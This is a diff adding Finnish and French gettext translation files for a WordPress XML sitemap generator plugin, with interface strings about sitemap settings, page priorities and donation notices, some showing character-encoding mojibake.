+msgstr "YritÃ€ lisÃ€tÃ€ ajoajan rajoitusta:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:791
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "sekunneissa, esim. \"60\" tai \"0\" rajoittamattomaan"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:795
+msgid "Include a XSLT stylesheet:"
+msgstr "Ota mukaan XSLT-tyylitiedosto:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:796
+msgid "Full or relative URL to your .xsl file"
+msgstr "Kokonainen tai suhteellinen .xsl-tiedoston URL"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:796
+msgid "Use default"
+msgstr "KÃ€ytÃ€ oletuksia"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:801
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "Ota kÃ€yttÃ¶Ã¶n MySQL:n standarditila. KÃ€ytÃ€ tÃ€tÃ€ vain jos saat MySQL-virheitÃ€ (tarvitsee huomattavasti enemmÃ€n muistia)."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:807
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "Luo sivustokartta taustaprosessissa (Ei viiveitÃ€ merkintÃ¶jÃ€ luodessa)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3144
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:814
+msgid "Additional pages"
+msgstr "LisÃ€sivut"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3149
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:817
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Voit mÃ€Ã€rittÃ€Ã€ tiedostot tai osoitteet jotka lisÃ€tÃ€Ã€n sivustokarttaan, mutta jotka eivÃ€t ole WordPressissÃ€.<br />Esimerkiksi jos domain on www.example.com ja blogi on osoitteessa www.example.com/blog, saatat haluta lisÃ€tÃ€ etusivun www.example.com sivustokarttaan"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3151
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3462
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:819
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:998
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1012
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1021
+msgid "Note"
+msgstr "Huom"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:820
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Jos blogi on alihakemistossa ja haluat lisÃ€tÃ€ sivuja jotka EIVÃT ole blogin hakemistossa tai alikansioissa, sivustokartta TÃYTYY laittaa juurihakemistoon. Katso &quot;Sivustokartan sijainti&quot;-osiota tÃ€llÃ€ sivulla."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3300
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:822
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:861
+msgid "URL to the page"
+msgstr "Sivun URL"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:823
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "Kirjoita sivun osoite. Esimerkiksi http://example.com/index.html tai www.example.com/home"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3157
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3301
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:825
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:862
+msgid "Priority"
+msgstr "Prioriteetti"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3158
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:826
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "Valitse prioriteetti suhteessa muihin sivuihin. Esimerkiksi etusivu voi olla korkeammalla prioriteetilla kuin vanhat arkistosivut."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3160
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3303
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:828
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:864
+msgid "Last Changed"
+msgstr "Viimeinen muutos"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3161
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:829
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Kirjoita edellisen muutoksen pÃ€ivÃ€ys muodossa YYYY-MM-DD (esim. 2009-05-13) (ei pakollinen)."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3302
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:863
+msgid "Change Frequency"
+msgstr "Muutostiheys"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3304
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:865
+msgid "#"
+msgstr "#"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3309
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:870
+msgid "No pages defined."
+msgstr "Ei sivuja mÃ€Ã€ritetty."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3314
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:875
+msgid "Add new page"
+msgstr "LisÃ€Ã€ uusi sivu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3325
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:880
+msgid "Post Priority"
+msgstr "MerkinnÃ€n prioriteetti"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:882
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "Valitse, miten merkintÃ¶jen prioriteetti lasketaan:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:884
+msgid "Do not use automatic priority calculation"
+msgstr "ÃlÃ€ kÃ€ytÃ€ automaattista prioriteetin laskemista"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:884
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "Kaikilla merkinnÃ¶illÃ€ on prioriteetit-kohdassa mÃ€Ã€ritetty prioriteetti"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3348
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:895
+msgid "Location of your sitemap file"
+msgstr "Sivustokartan sijainti"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3353
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:898
+msgid "Automatic detection"
+msgstr "Automaattinen tunnistus"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3357
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:902
+msgid "Filename of the sitemap file"
+msgstr "Sivustokartan tiedostonimi"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:905
+msgid "Detected Path"
+msgstr "Tunnistettu polku"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:905
+msgid "Detected URL"
+msgstr "Tunnistettu URL"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3365
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:910
+msgid "Custom location"
+msgstr "Muokattu sijainti"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3369
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:914
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Absoluuttinen tai suhteellinen sivustokartan osoite, myÃ¶s tiedostonimi."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3371
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3380
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:916
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:925
+msgid "Example"
+msgstr "Esimerkki"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3378
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:923
+msgid "Complete URL to the sitemap file, including name."
+msgstr "Koko URL sivustokarttatiedostoon, myÃ¶s nimi."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3397
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:936
+msgid "Sitemap Content"
+msgstr "Sivustokartan sisÃ€ltÃ¶"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3405
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:942
+msgid "Include homepage"
+msgstr "Ota mukaan etusivu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3411
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:948
+msgid "Include posts"
+msgstr "Ota mukaan merkinnÃ€t"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:911
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:954
+msgid "Include following pages of multi-page posts (&lt;!--nextpage--&gt;)"
+msgstr "Ota mukaan kaikki sivut monisivuisista merkinnÃ¶istÃ€ (&lt;!--nextpage--&gt;)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3417
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:960
+msgid "Include static pages"
+msgstr "Ota mukaan staattiset sivut"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3423
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:966
+msgid "Include categories"
+msgstr "Ota mukaan luokat"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3429
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:972
+msgid "Include archives"
+msgstr "Ota mukaan arkistosivut"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3436
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:979
+msgid "Include tag pages"
+msgstr "Ota mukaan avainsanasivut"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3443
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:986
+msgid "Include author pages"
+msgstr "Ota mukaan tekijÃ€sivut"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:994
+msgid "Excluded items"
+msgstr "JÃ€tÃ€ huomiotta"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:996
+msgid "Excluded categories"
+msgstr "JÃ€tÃ€ huomiotta luokkia"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:998
+msgid "Using this feature will increase build time and memory usage!"
+msgstr "TÃ€mÃ€n ominaisuuden kÃ€yttÃ¶ lisÃ€Ã€ luomisaikaa ja muistinkÃ€yttÃ¶Ã€!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1005
+#, php-format
+msgid "This feature requires at least WordPress 2.5, you are using %s"
+msgstr "Ominaisuus vaatii vÃ€hintÃ€Ã€n WordPress 2.5:n, sinulla on %s"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1008
+msgid "Exclude posts"
+msgstr "JÃ€tÃ€ huomiotta merkintÃ¶jÃ€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1010
+msgid "Exclude the following posts or pages:"
+msgstr "JÃ€tÃ€ huomiotta seuraavat merkinnÃ€t tai sivut:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1010
+msgid "List of IDs, separated by comma"
+msgstr "Lista ID:istÃ€, pilkulla eroteltuna"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1012
+msgid "Child posts will not automatically be excluded!"
+msgstr "AlimerkintÃ¶jÃ€ ei jÃ€tetÃ€ automaattisesti huomiotta!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3457
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1018
+msgid "Change frequencies"
+msgstr "PÃ€ivitystiheydet"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3463
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1022
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "Huomioi ettÃ€ tÃ€mÃ€ avainsana on vihje, ei komento. Vaikka osa hakukoneista ottaa avainsanan huomioon pÃ€Ã€tÃ¶ksiÃ€ tehdessÃ€, tunneittain pÃ€ivittyviksi merkittyjÃ€ sivuja saatetaan hakea harvemmin. Vastaavasti vuosittain pÃ€ivittyviÃ€ sivuja haetaan mahdollisesti useammin. LisÃ€ksi osa hakukoneista hakee sÃ€Ã€nnÃ¶llisesti sivuja, joiden pÃ€ivittymistiheydeksi on merkitty \"ei koskaan\", jotta odottamattomat muutokset pÃ€ivittyvÃ€t."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3469
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3535
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1028
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1086
+msgid "Homepage"
+msgstr "Etusivu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3475
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1034
+msgid "Posts"
+msgstr "MerkinnÃ€t"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3481
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3553
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1040
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1104
+msgid "Static pages"
+msgstr "Staattiset sivut"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3487
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3559
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1046
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1110
+msgid "Categories"
+msgstr "Kategoriat"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3493
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1052
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "TÃ€mÃ€n kuun arkistosivu (yleensÃ€ blogin etusivu)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3499
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1058
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Vanhat arkistosivut (vaihtuvat vain kun muokkaat vanhaa merkintÃ€Ã€)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3506
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3572
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1065
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1123
+msgid "Tag pages"
+msgstr "Avainsanasivut"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3513
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3579
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1072
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1130
+msgid "Author pages"
+msgstr "TekijÃ€n sivut"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3527
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1080
+msgid "Priorities"
+msgstr "Prioriteetit"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3541
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1092
+msgid "Posts (If auto calculation is disabled)"
+msgstr "MerkinnÃ€t (jos automaattinen laskenta on poistettu kÃ€ytÃ¶stÃ€)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3547
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1098
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "MerkintÃ¶jen minimiprioriteetti (vaikka automaattinen laskenta olisi kÃ€ytÃ¶ssÃ€)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3565
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1116
+msgid "Archives"
+msgstr "Arkistot"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3590
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1141
+msgid "Update options"
+msgstr "PÃ€ivitÃ€ asetukset"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3591
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1142
+msgid "Reset options"
+msgstr "Nollaa asetukset"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:81
+msgid "XML-Sitemap Generator"
+msgstr "XML-sivustokartan luontityÃ¶kalu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:81
+msgid "XML-Sitemap"
+msgstr "XML-Sivustokartta"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:139
+msgid "Sitemap FAQ"
+msgstr "Sivustokartta-FAQ"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-fr_FR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-fr_FR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-fr_FR.po	(revision 44)
@@ -0,0 +1,896 @@
+# This file is distributed under the same license as the WordPress package.
+# [name] <[mail-address]>, 2005.
+# $Id: sitemap.pot 2502 2005-07-03 20:50:38Z arnee $
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap 3.1.2\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-06-08 22:26+0100\n"
+"PO-Revision-Date: 2009-06-08 22:29+0100\n"
+"Last-Translator: serge rauber <http://wp.kalyxstudio.com/contact>\n"
+"Language-Team: Serge Rauber <wp.kalyxstudio.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: French\n"
+"X-Poedit-Country: FRANCE\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: .\n"
+"X-Poedit-SearchPath-1: ..\n"
+
+#: ../sitemap-ui.php:102
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "Merci beaucoup pour votre don, Ã§a m'aide Ã  continuer de dÃ©velopper ce plugin et d'autres softwares!"
+
+#: ../sitemap-ui.php:102
+msgid "Hide this notice"
+msgstr "Masquer"
+
+#: ../sitemap-ui.php:108
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "Merci d'utiliser ce plugin! Vous l'avez installÃ© il y a un mois. S'il fonctionne bien et que vous en Ãªtes satisfait, est-ce trop de donner un petit dollar?<a href=\"%s\">Les dons</a> me permettent de continuer Ã  dÃ©velopper ce plugin <i>libre et gratuit</i> ! <a href=\"%s\">Je t'aide, pas de problÃšme!</a>"
+
+#: ../sitemap-ui.php:108
+msgid "No thanks, please don't bug me anymore!"
+msgstr "Non merci, ne plus me le rappeler!"
+
+#: ../sitemap-ui.php:119
+msgid "Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!"
+msgstr "Mise Ã  jour du sitemap en cours. En fonction de la taille de votre blog, Ã§a peut prendre un certain temps!"
+
+#: ../sitemap-ui.php:121
+#, php-format
+msgid "Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!"
+msgstr "La mise Ã  jour du sitemap devrait prendre %s secondes. En fonction de la taille de votre blog, Ã§a peut prendre un certain temps!"
+
+#: ../sitemap-ui.php:150
+#: ../sitemap-ui.php:453
+msgid "XML Sitemap Generator for WordPress"
+msgstr "GÃ©nÃ©rateur de sitemap xml pour WordPress"
+
+#: ../sitemap-ui.php:298
+msgid "Configuration updated"
+msgstr "Configuration mise Ã  jour"
+
+#: ../sitemap-ui.php:299
+msgid "Error while saving options"
+msgstr "Erreur lors de la sauvegarde des options"
+
+#: ../sitemap-ui.php:301
+msgid "Pages saved"
+msgstr "Pages enregistrÃ©es"
+
+#: ../sitemap-ui.php:302
+msgid "Error while saving pages"
+msgstr "Erreur durant l'enregistrement des pages"
+
+#: ../sitemap-ui.php:309
+msgid "The default configuration was restored."
+msgstr "Configuration par dÃ©faut restaurÃ©e."
+
+#: ../sitemap-ui.php:466
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a>."
+msgstr "Une nouvelle version de %1$s est disponible. <a href=\"%2$s\">TÃ©lÃ©charger la version %3$s ici</a>."
+
+#: ../sitemap-ui.php:468
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr "Une nouvelle version de %1$s est disponible. <a href=\"%2$s\">TÃ©lÃ©charger la version %3$s ici</a>.<em>mise Ã  jour automatique non disponible pour ce plugin</em>"
+
+#: ../sitemap-ui.php:470
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
+msgstr "Une nouvelle version de %1$s est disponible. <a href=\"%2$s\">TÃ©lÃ©charger la version %3$s ici</a> ou <a href=\"%4$s\">Mettre Ã  jour automatiquement</a>."
+
+#: ../sitemap-ui.php:493
+#: ../sitemap-ui.php:510
+msgid "open"
+msgstr "ouvrir"
+
+#: ../sitemap-ui.php:494
+#: ../sitemap-ui.php:511
+msgid "close"
+msgstr "fermer"
+
+#: ../sitemap-ui.php:495
+#: ../sitemap-ui.php:512
+msgid "click-down and drag to move this box"
+msgstr "Faites un glisser/dÃ©poser pour dÃ©placer cette boite."
+
+#: ../sitemap-ui.php:496
+#: ../sitemap-ui.php:513
+msgid "click to %toggle% this box"
+msgstr "Cliquez pour %inverser% cette case"
+
+#: ../sitemap-ui.php:497
+#: ../sitemap-ui.php:514
+msgid "use the arrow keys to move this box"
+msgstr "Utilisez les touches flÃ©chÃ©es pour dÃ©placer cette boite"
+
+#: ../sitemap-ui.php:498
+#: ../sitemap-ui.php:515
+msgid ", or press the enter key to %toggle% it"
+msgstr ", ou appuyez sur la touche EntrÃ©e pour l'%inverser%."
+
+#: ../sitemap-ui.php:533
+msgid "About this Plugin:"
+msgstr "A propos"
+
+#: ../sitemap-ui.php:534
+msgid "Plugin Homepage"
+msgstr "Page du plugin"
+
+#: ../sitemap-ui.php:535
+msgid "Suggest a Feature"
+msgstr "Suggestion"
+
+#: ../sitemap-ui.php:536
+msgid "Notify List"
+msgstr "S'abonner"
+
+#: ../sitemap-ui.php:537
+msgid "Support Forum"
+msgstr "Forum"
+
+#: ../sitemap-ui.php:538
+msgid "Report a Bug"
+msgstr "Signaler un bug"
+
+#: ../sitemap-ui.php:540
+msgid "Donate with PayPal"
+msgstr "Don PayPal"
+
+#: ../sitemap-ui.php:541
+msgid "My Amazon Wish List"
+msgstr "Ma liste Amazon"
+
+#: ../sitemap-ui.php:542
+msgid "translator_name"
+msgstr "Traduit par Serge"
+
+#: ../sitemap-ui.php:542
+msgid "translator_url"
+msgstr "http://wp.kalyxstudio.com"
+
+#: ../sitemap-ui.php:545
+msgid "Sitemap Resources:"
+msgstr "Ressources"
+
+#: ../sitemap-ui.php:546
+#: ../sitemap-ui.php:552
+msgid "Webmaster Tools"
+msgstr "Webmaster Tools"
+
+#: ../sitemap-ui.php:547
+msgid "Webmaster Blog"
+msgstr "Webmaster Blog"
+
+#: ../sitemap-ui.php:549
+msgid "Site Explorer"
+msgstr "Site Explorer"
+
+#: ../sitemap-ui.php:550
+msgid "Search Blog"
+msgstr "Search Blog"
+
+#: ../sitemap-ui.php:553
+msgid "Webmaster Center Blog"
+msgstr "Webmaster Center Blog"
+
+#: ../sitemap-ui.php:555
+msgid "Sitemaps Protocol"
+msgstr "Sitemaps Protocol"
+
+#: ../sitemap-ui.php:556
+msgid "Official Sitemaps FAQ"
+msgstr "Official Sitemaps FAQ"
+
+#: ../sitemap-ui.php:557
+msgid "My Sitemaps FAQ"
+msgstr "Ma FAQ"
+
+#: ../sitemap-ui.php:560
+msgid "Recent Donations:"
+msgstr "Dons rÃ©cents:"
+
+#: ../sitemap-ui.php:564
+msgid "List of the donors"
